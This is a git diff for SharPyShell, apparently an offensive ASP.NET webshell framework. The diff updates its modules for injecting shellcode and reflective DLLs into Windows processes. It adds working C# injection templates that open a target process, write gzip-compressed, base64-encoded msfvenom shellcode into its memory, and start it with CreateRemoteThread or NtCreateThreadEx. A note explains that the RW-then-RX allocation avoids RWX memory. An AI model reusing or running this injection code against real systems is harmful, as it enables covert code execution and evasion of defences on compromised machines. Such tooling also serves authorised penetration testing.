diff --git a/core/config.py b/core/config.py index d7bd29b..13661e8 100644 --- a/core/config.py +++ b/core/config.py @@ -1,7 +1,7 @@ import sys import os -sharpyshell_version='1.1.7' +sharpyshell_version='1.1.8' header = '#SharPyShell v' + sharpyshell_version + ' - @splinter_code' banner = """ diff --git a/modules/inject_dll_reflective.py b/modules/inject_dll_reflective.py index ac9d47e..813ac88 100644 --- a/modules/inject_dll_reflective.py +++ b/modules/inject_dll_reflective.py @@ -1,5 +1,6 @@ from modules.inject_shellcode import Inject_shellcode, ModuleException from core import config +from utils import gzip_utils import pefile @@ -16,7 +17,7 @@ class Inject_dll_reflective(Inject_shellcode): Inject a reflective DLL into a remote process. - You can choose if create a new process or use a pid of an existing process as a host process. + You can choose to create a new process or use a pid of an existing process as a host process. The dll_path is a relative path to a dll that exists in the folder 'reflective_dll/'. The dll must be compiled with the reflective loader exported function otherwise it cannot be executed at runtime. @@ -45,8 +46,7 @@ class Inject_dll_reflective(Inject_shellcode): Examples: Inject a messagebox reflective DLL into an existing process: #inject_dll_reflective messagebox_reflective_x64.dll 'remote_virtual' '2264' - - + """ def __get_reflective_loader_offset(self, dll_path): @@ -64,11 +64,13 @@ class Inject_dll_reflective(Inject_shellcode): code_offset = str(self.__get_reflective_loader_offset(dll_path)) with open(dll_path, 'rb') as file_handle: byte_arr = bytearray(file_handle.read()) - byte_arr_code = '{' + ",".join('0x{:02x}'.format(x) for x in byte_arr) + '}' - byte_arr_code_csharp = self._template_shellcode_csharp % byte_arr_code + base64_compressed_dll = gzip_utils.get_compressed_base64_from_binary(byte_arr) if injection_type == 'remote_virtual_protect': - return self._runtime_code_virtual_protect % (byte_arr_code_csharp, thread_parameters, remote_process, - thread_timeout, code_offset) + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_dll, + thread_parameters, remote_process, + thread_timeout, code_offset) else: - return self._runtime_code % (byte_arr_code_csharp, thread_parameters, remote_process, - thread_timeout, code_offset) \ No newline at end of file + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_dll, + thread_parameters, remote_process, + thread_timeout, code_offset) + return runtime_code diff --git a/modules/inject_shellcode.py b/modules/inject_shellcode.py index e5a5499..569c452 100644 --- a/modules/inject_shellcode.py +++ b/modules/inject_shellcode.py @@ -1,4 +1,5 @@ from core.Module import Module, ModuleException +from utils import gzip_utils class InjectShellcodeModuleException(ModuleException): @@ -10,13 +11,15 @@ class Inject_shellcode(Module): short_help = "Inject shellcode in a new (or existing) process" complete_help = r""" This module allow to inject your shellcode in a host process. - You can decide if inject into an existing process or if spawn a new process as a host process for the code. - You should create the payload for the shellcode from msfvenom with the flag --format csharp. + You can choose to create a new process or use a pid of an existing process as a host process. + If you create the payload for the shellcode from msfvenom ensure you use the flag --format raw. You can use one of the following supported injection technique: + - remote_virtual: classic injection: VirtualAllocEx (RWX) -> WriteProcessMemory -> CreateRemoteThread - remote_virtual_protect: with this technique you never allocate RWX memory (polymorphic encoders won't work): VirtualAllocEx(RW) -> WriteProcessMemory -> VirtualProtect(RX) -> CreateRemoteThread + Note that when you try to inject into an existing process you should ensure you have the rights to open a handle to that process otherwise the injection cannot be performed. @@ -24,8 +27,7 @@ class Inject_shellcode(Module): #inject_shellcode shellcode_path [injection_type] [remote_process] Positional arguments: - shellcode_path path to a file containing shellcode in csharp format (msfvenom --format csharp) - it can also be a bytearray string, i.e. '{0x90,0x90,0x90,0x90}' + shellcode_path path to a file containing shellcode in raw format (msfvenom --format raw) injection_type the process injection method to use for injecting shellcode Allowed values: 'remote_virtual', 'remote_virtual_protect' Default: 'remote_virtual' @@ -35,17 +37,17 @@ class Inject_shellcode(Module): Examples: Inject generated shellcode: - #inject_shellcode /path/to/shellcode.cs + #inject_shellcode /path/to/shellcode Inject shellcode with specific injection type: - #inject_shellcode /path/to/shellcode.cs 'remote_virtual_protect' + #inject_shellcode /path/to/shellcode 'remote_virtual_protect' Inject shellcode into an existing process - #inject_shellcode /path/to/shellcode.cs 'remote_virtual' '1550' + #inject_shellcode /path/to/shellcode 'remote_virtual' '1550' """ _runtime_code = ur""" using System;using System.IO;using System.Diagnostics;using System.Text; - using System.Runtime.InteropServices; + using System.Runtime.InteropServices; using System.IO.Compression; public class SharPyShell { @@ -55,15 +57,26 @@ class Inject_shellcode(Module): [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); + [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError = true)] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - + [DllImport("kernel32.dll", SetLastError=true)] static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError = true)] + static extern bool CloseHandle(IntPtr hObject); + + [DllImport("ntdll.dll", SetLastError = true)] + static extern UInt32 NtCreateThreadEx(ref IntPtr hThread,UInt32 DesiredAccess,IntPtr ObjectAttributes,IntPtr ProcessHandle,IntPtr StartAddress,IntPtr lParam,bool CreateSuspended,UInt32 StackZeroBits,UInt32 SizeOfStackCommit,UInt32 SizeOfStackReserve,IntPtr BytesBuffer); + const uint PAGE_ALIGN = 1024; + const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; @@ -73,6 +86,7 @@ class Inject_shellcode(Module): const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 0x04; + const uint PAGE_EXECUTE_READ = 0x20; const uint PAGE_EXECUTE_READWRITE = 0x40; const uint WAIT_OBJECT_0 = 0x00000000; @@ -83,6 +97,9 @@ class Inject_shellcode(Module): string error_string = "\n\n\t{{{SharPyShellError}}}"; int processId=0; Process targetProcess = new Process(); + IntPtr targetProcessHandle = IntPtr.Zero; + IntPtr injectedThreadHandle = IntPtr.Zero; + bool usingExistingProcess = false; try { if(!Int32.TryParse(process, out processId)){ @@ -92,55 +109,60 @@ class Inject_shellcode(Module): } else{ targetProcess = Process.GetProcessById(processId); + usingExistingProcess = true; output += "\n\n\tTrying to open running process with pid " + processId.ToString(); } string processName = targetProcess.ProcessName; string targetProcessPid = processId.ToString(); - IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); + targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); if(targetProcessHandle == (IntPtr)0){ - output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); return output; } output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; + uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if(codeMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - uint bytesWrittenCode; - output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; - if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + if(codeMemorySize %% PAGE_ALIGN != 0) + codeMemorySize += PAGE_ALIGN - ((uint)(byteArrayCode.Length+1) %% PAGE_ALIGN); + %s codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); - - IntPtr injectedThreadHandle = (IntPtr)0; if(threadParameters.Length > 0){ - output += "\n\n\tThread parameters detected. Starting to allocate memory RWX ..."; + output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(threadParametersMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); return output; } uint bytesWrittenThreadParams; - output += "\n\n\tAllocated memory RWX for thread parameters of " + threadParametersSize.ToString() + " bytes"; + output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); return output; } output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); + if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){ + output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx..."; + NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, threadParametersMemAddress, false, 0, 0, 0, IntPtr.Zero); + } + else{ + output += "\n\n\tUsing CreateRemoteThread..."; + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); + } } else{ - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); + if(Environment.OSVersion.Version < new Version(6, 2) && usingExistingProcess){ + output += "\n\n\tDetected windows version < 6.2 and injection across sessions. Using NtCreateThreadEx..."; + NtCreateThreadEx(ref injectedThreadHandle, 0x1FFFFF, IntPtr.Zero, targetProcessHandle, codeMemAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); + } + else{ + output += "\n\n\tUsing CreateRemoteThread..."; + injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); + } } if(injectedThreadHandle == (IntPtr)0){ - output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); + output += error_string + "\n\tError creating remote thread into target process.\n\tRemote Thread creation failed with error code " + Marshal.GetLastWin32Error(); return output; } output += "\n\n\tRemote Thread started!"; @@ -170,170 +192,79 @@ class Inject_shellcode(Module): output += error_string + "\n\tException occurred. " + ex.Message; return output; } + finally{ + if((int)injectedThreadHandle > 0) + CloseHandle(injectedThreadHandle); + if((int)targetProcessHandle > 0) + CloseHandle(targetProcessHandle); + } return output + "\n\n"; } + + private byte[] Decompress(byte[] data) + { + using (MemoryStream compressedStream = new MemoryStream(data)) + using (GZipStream zipStream = new GZipStream(compressedStream, CompressionMode.Decompress)) + using (MemoryStream resultStream = new MemoryStream()) + { + byte[] buffer = new byte[16*1024]; + int read; + while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0) + { + resultStream.Write(buffer, 0, read); + } + return resultStream.ToArray(); + } + } public byte[] ExecRuntime() { - %s + string shellcodeBase64 = "%s"; + byte[] shellcodeCompressed = Convert.FromBase64String(shellcodeBase64); + byte[] shellcodeByteArr = Decompress(shellcodeCompressed); byte[] threadParameters = %s; - string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); + string output_func=InjectShellcode(shellcodeByteArr, threadParameters, @"%s", %s, %s); byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); return(output_func_byte); } } """ - _runtime_code_virtual_protect = ur""" - using System;using System.IO;using System.Diagnostics;using System.Text; - using System.Runtime.InteropServices; + _runtime_code_virtual = ur""" + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if(codeMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + uint bytesWrittenCode; + output += "\n\n\tAllocated memory RWX for code of " + codeMemorySize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + """ - public class SharPyShell - { - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - - [DllImport("kernel32.dll", SetLastError=true)] - static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); - - const int PROCESS_CREATE_THREAD = 0x0002; - const int PROCESS_QUERY_INFORMATION = 0x0400; - const int PROCESS_VM_OPERATION = 0x0008; - const int PROCESS_VM_WRITE = 0x0020; - const int PROCESS_VM_READ = 0x0010; - - const uint MEM_COMMIT = 0x00001000; - const uint MEM_RESERVE = 0x00002000; - const uint PAGE_READWRITE = 0x04; - const uint PAGE_EXECUTE_READ = 0x20; - - const uint WAIT_OBJECT_0 = 0x00000000; - - public string InjectShellcode(byte[] byteArrayCode, byte[] threadParameters, string process, uint threadTimeout, ulong offset) - { - string output = ""; - string error_string = "\n\n\t{{{SharPyShellError}}}"; - int processId=0; - Process targetProcess = new Process(); - try - { - if(!Int32.TryParse(process, out processId)){ - targetProcess = Process.Start(process); - processId = targetProcess.Id; - output += "\n\n\tStarted process " + process + " with pid " + processId.ToString(); - } - else{ - targetProcess = Process.GetProcessById(processId); - output += "\n\n\tTrying to open running process with pid " + processId.ToString(); - } - string processName = targetProcess.ProcessName; - string targetProcessPid = processId.ToString(); - IntPtr targetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, processId); - if(targetProcessHandle == (IntPtr)0){ - output += error_string + "\n\tOpenProcess on pid " + targetProcessPid + " failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tCorreclty opened a handle on process with pid " + targetProcessPid; - uint codeMemorySize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if(codeMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - uint bytesWrittenCode; - output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; - if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); - - uint codeMemSize = (uint)(byteArrayCode.Length * Marshal.SizeOf(typeof(byte)) + 1); - uint lpflOldProtect; - if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ - output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tChanged allocated memory for code from RW to RX"; - - codeMemAddress = (IntPtr)((ulong)codeMemAddress + (ulong)offset); - - IntPtr injectedThreadHandle = (IntPtr)0; - if(threadParameters.Length > 0){ - output += "\n\n\tThread parameters detected. Starting to allocate memory RW ..."; - uint threadParametersSize = (uint)(threadParameters.Length * Marshal.SizeOf(typeof(byte)) + 1); - IntPtr threadParametersMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, threadParametersSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - if(threadParametersMemAddress == (IntPtr)0){ - output += error_string + "\n\tError allocating thread parameters buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - uint bytesWrittenThreadParams; - output += "\n\n\tAllocated memory RW for thread parameters of " + threadParametersSize.ToString() + " bytes"; - if(!WriteProcessMemory(targetProcessHandle, threadParametersMemAddress, threadParameters, threadParametersSize, out bytesWrittenThreadParams)){ - output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tThread parameters written into remote process. Bytes written: " + bytesWrittenThreadParams.ToString(); - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, threadParametersMemAddress, 0, IntPtr.Zero); - } - else{ - injectedThreadHandle = CreateRemoteThread(targetProcessHandle, IntPtr.Zero, 0, codeMemAddress, IntPtr.Zero, 0, IntPtr.Zero); - } - if(injectedThreadHandle == (IntPtr)0){ - output += error_string + "\n\tError injecting thread into remote process memory.\n\tCreateRemoteThread failed with error code " + Marshal.GetLastWin32Error(); - return output; - } - output += "\n\n\tRemote Thread started!"; - if(threadTimeout>0){ - uint wait_for = WaitForSingleObject(injectedThreadHandle, threadTimeout); - if(wait_for == WAIT_OBJECT_0){ - output += "\n\n\tCode executed and exited correctly"; - try{ - Process.GetProcessById(processId); - targetProcess.Kill(); - output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has been killed"; - } - catch{ - output += "\n\n\tProcess " + processName + " with pid " + targetProcessPid + " has exited"; - } - } - else{ - output += "\n\n\tRemote Thread Timed Out"; - } - } - else{ - output += "\n\n\tCode executed left in background as an async thread in the process '" + processName + ".exe' with pid " + targetProcessPid; - } - } - catch (Exception ex) - { - output += error_string + "\n\tException occurred. " + ex.Message; - return output; - } - return output + "\n\n"; + _runtime_code_virtual_protect = ur""" + uint codeMemSize = codeMemorySize; + IntPtr codeMemAddress = VirtualAllocEx(targetProcessHandle, IntPtr.Zero, codeMemorySize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if(codeMemAddress == (IntPtr)0){ + output += error_string + "\n\tError allocating code buffer memory.\n\tVirtualAllocEx failed with error code " + Marshal.GetLastWin32Error(); + return output; } - - public byte[] ExecRuntime() - { - %s - byte[] threadParameters = %s; - string output_func=InjectShellcode(buf, threadParameters, @"%s", %s, %s); - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); - return(output_func_byte); + uint bytesWrittenCode; + output += "\n\n\tAllocated memory RW for code of " + codeMemorySize.ToString() + " bytes"; + if(!WriteProcessMemory(targetProcessHandle, codeMemAddress, byteArrayCode, codeMemorySize, out bytesWrittenCode)){ + output += error_string + "\n\tError writing code buffer in memory.\n\tWriteProcessMemory failed with error code " + Marshal.GetLastWin32Error(); + return output; } - } + output += "\n\n\tCode written into remote process. Bytes written: " + bytesWrittenCode.ToString(); + uint lpflOldProtect; + if(!VirtualProtectEx(targetProcessHandle, codeMemAddress, codeMemSize, PAGE_EXECUTE_READ, out lpflOldProtect)){ + output += error_string + "\n\tError in changing memory from RW to RX.\n\tVirtualProtectEx failed with error code " + Marshal.GetLastWin32Error(); + return output; + } + output += "\n\n\tChanged allocated memory for code from RW to RX"; """ _default_injection_type = 'remote_virtual' @@ -342,8 +273,6 @@ class Inject_shellcode(Module): _default_thread_parameters = '{}' _default_code_offset = '0' - _template_shellcode_csharp = 'byte[] buf = new byte[] %s;' - def _parse_run_args(self, args): if len(args) < 1: raise self._exception_class('#inject_shellcode: Not enough arguments. 1 Argument required.\n') @@ -354,22 +283,18 @@ class Inject_shellcode(Module): thread_timeout = args_parser.get(3, self._default_thread_timeout) thread_parameters = args_parser.get(4, self._default_thread_parameters) code_offset = args_parser.get(5, self._default_code_offset) - return shellcode_path, injection_type, remote_process, thread_timeout,thread_parameters, code_offset + return shellcode_path, injection_type, remote_process, thread_timeout, thread_parameters, code_offset def _create_request(self, args): shellcode_path, injection_type, remote_process,\ thread_timeout, thread_parameters, code_offset = self._parse_run_args(args) - if all(shellcode_char in shellcode_path for shellcode_char in ['{', '0x', ',', '}']): - shellcode_bytes_code = self._template_shellcode_csharp % shellcode_path - else: - with open(shellcode_path, 'r') as file_handle: - shellcode_bytes_code = file_handle.read() + base64_compressed_shellcode = gzip_utils.get_compressed_base64_from_file(shellcode_path) if injection_type == 'remote_virtual_protect': - return self._runtime_code_virtual_protect % (shellcode_bytes_code, thread_parameters, remote_process, - thread_timeout, code_offset) + runtime_code = self._runtime_code % (self._runtime_code_virtual_protect, base64_compressed_shellcode, + thread_parameters, remote_process, + thread_timeout, code_offset) else: - return self._runtime_code % (shellcode_bytes_code, thread_parameters, remote_process, - thread_timeout, code_offset) - - - + runtime_code = self._runtime_code % (self._runtime_code_virtual, base64_compressed_shellcode, + thread_parameters, remote_process, + thread_timeout, code_offset) + return runtime_code diff --git a/modules/reflective_dll/messagebox_reflective_x64.dll b/modules/reflective_dll/messagebox_reflective.dll similarity index 100% rename from modules/reflective_dll/messagebox_reflective_x64.dll rename to modules/reflective_dll/messagebox_reflective.dll diff --git a/modules/reflective_dll/messagebox_reflective_x86.dll b/modules/reflective_dll/messagebox_reflective_x86.dll deleted file mode 100644 index 7ac6ef2..0000000 Binary files a/modules/reflective_dll/messagebox_reflective_x86.dll and /dev/null differ diff --git a/requirements.txt b/requirements.txt index c7080c5..afb06d5 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,4 +3,6 @@ urllib3[socks] Crypto pyopenssl pefile +StringIO +gzip prettytable \ No newline at end of file diff --git a/utils/gzip_utils.py b/utils/gzip_utils.py new file mode 100644 index 0000000..65ff96e --- /dev/null +++ b/utils/gzip_utils.py @@ -0,0 +1,17 @@ +import StringIO +import gzip +import base64 + + +def get_compressed_base64_from_file(path): + compressed_stream = StringIO.StringIO() + with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed, open(path, 'rb') as infile: + compressed.write(infile.read()) + return base64.b64encode(compressed_stream.getvalue()) + + +def get_compressed_base64_from_binary(bin_bytearray_input): + compressed_stream = StringIO.StringIO() + with gzip.GzipFile(fileobj=compressed_stream, mode="wb") as compressed: + compressed.write(str(bin_bytearray_input)) + return base64.b64encode(compressed_stream.getvalue())